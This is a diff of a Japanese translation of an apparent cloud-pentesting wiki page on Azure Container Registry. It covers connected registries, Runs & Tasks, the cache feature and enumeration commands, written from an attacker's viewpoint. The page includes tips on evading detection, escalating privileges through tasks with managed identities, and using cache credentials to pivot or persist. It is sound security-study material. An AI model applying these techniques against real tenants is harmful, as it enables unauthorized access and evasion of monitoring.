+攻撃者の観点では、registry で **any action を実行する前に** これを確認し、検知を避けるために必要であれば一時的に削除することが重要です。
 
 ### Connected registries
 
-これは基本的に、ある registry から別の registry へ **images を mirror** するもので、通常は on-premises にあります。
+これは基本的に、通常は on-premises に配置された別の registry に **images を mirror** できる機能です。
 
-モードは 2 つあります: **ReadOnly** と **ReadWrite**。前者では images は source registry からのみ **pulled** され、後者では images を source registry に **pushed** することもできます。
+モードは **ReadOnly** と **ReadWrite** の 2 つです。前者では source registry から images を **pull** するだけですが、後者では source registry に images を **push** することもできます。
 
-clients が Azure から registry にアクセスできるようにするため、connected registry が使用されると **token** が生成されます。
+clients が Azure から registry にアクセスするには、connected registry が使用されたときに **token** が生成されます。
 
 ### Runs & Tasks
 
-Runs & Tasks により、通常はローカルや CI/CD pipeline で行う必要があった Azure container 関連の actions を実行できます。たとえば、registry 内で images を **build, push, and run** できます。
+Runs & Tasks を使用すると、通常はローカルまたは CI/CD pipeline で実行する container 関連の actions を Azure で実行できます。たとえば、registry 内で **images を build、push、run** できます。
 
-container を build して run する最も簡単な方法は、通常の Run を使うことです:
+container を build して run する最も簡単な方法は、通常の Run を使用することです：
 ```bash
 # Build
 echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
 # Run
 az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
 ```
-しかし、それだと managed identity が紐づいていないため、攻撃者の観点ではあまり面白くない runs が発生します。
+ただし、これによって攻撃者の観点ではあまり興味深くない runs が実行されます。これは、そこに managed identity がアタッチされていないためです。
 
-しかし、**tasks** には **system と user managed identity** を紐づけることができます。container 内で **privileges を escalate** するのに有用なのはこれらの tasks です。privileges escalation のセクションでは、tasks を使って privileges を escalate する方法を見ることができます。
+一方、**tasks** には **system and user managed identity** をアタッチできます。権限昇格に利用できるのはこれらの tasks です。権限昇格のセクションでは、tasks を使用して権限を昇格する方法を確認できます。
 
 ### Cache
 
-cache 機能では、**external repository から images を download** して、新しい versions を registry に保存できます。これには、Azure Vault から credentials を選択して、いくつかの **credentials を設定** する必要があります。
+Cache 機能を使用すると、**外部リポジトリからイメージをダウンロード**し、registry に新しいバージョンを保存できます。これには、Azure Vault から credentials を選択して、**いくつかの credentials を設定**する必要があります。
 
-これは攻撃者の観点から非常に興味深いです。なぜなら、攻撃者が credentials にアクセスするのに十分な permissions を持っていれば、**external platform へ pivot** でき、**external repository から images を download** できるからです。また、cache の設定は **persistence mechanism** としても使えます。
+これは攻撃者の観点から非常に興味深い機能です。攻撃者が credentials にアクセスするための十分な権限を持っている場合、**外部プラットフォームへ pivot** できるためです。また、**外部リポジトリからイメージをダウンロード**し、Cache を設定することは、**永続化メカニズム**としても利用できます。
 
-## Enumeration
+## 列挙
 
 > [!WARNING]
-> registry 名に大文字が含まれていても、アクセスするための url では必ず小文字のみを使う必要があることは非常に重要です。
+> registry 名に大文字が含まれている場合でも、アクセスする URL では小文字のみを使用する必要がある点に注意してください。
 ```bash
 # List of all the registries
 # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,19 +143,23 @@ az acr cache list --registry <registry-name>
 # Get cache details
 az acr cache show --name <cache-name> --registry <registry-name>
 ```
-## 認証なしアクセス
+## 未認証アクセス
 
 {{#ref}}
 ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
 {{#endref}}
 
-## 権限昇格 & Post Exploitation
+## Privilege Escalation & Post Exploitation
 
 {{#ref}}
 ../az-privilege-escalation/az-container-registry-privesc.md
 {{#endref}}
 
-## 参考
+{{#ref}}
+../az-post-exploitation/az-container-registry-post-exploitation.md
+{{#endref}}
+
+## 参照
 
 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
 - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)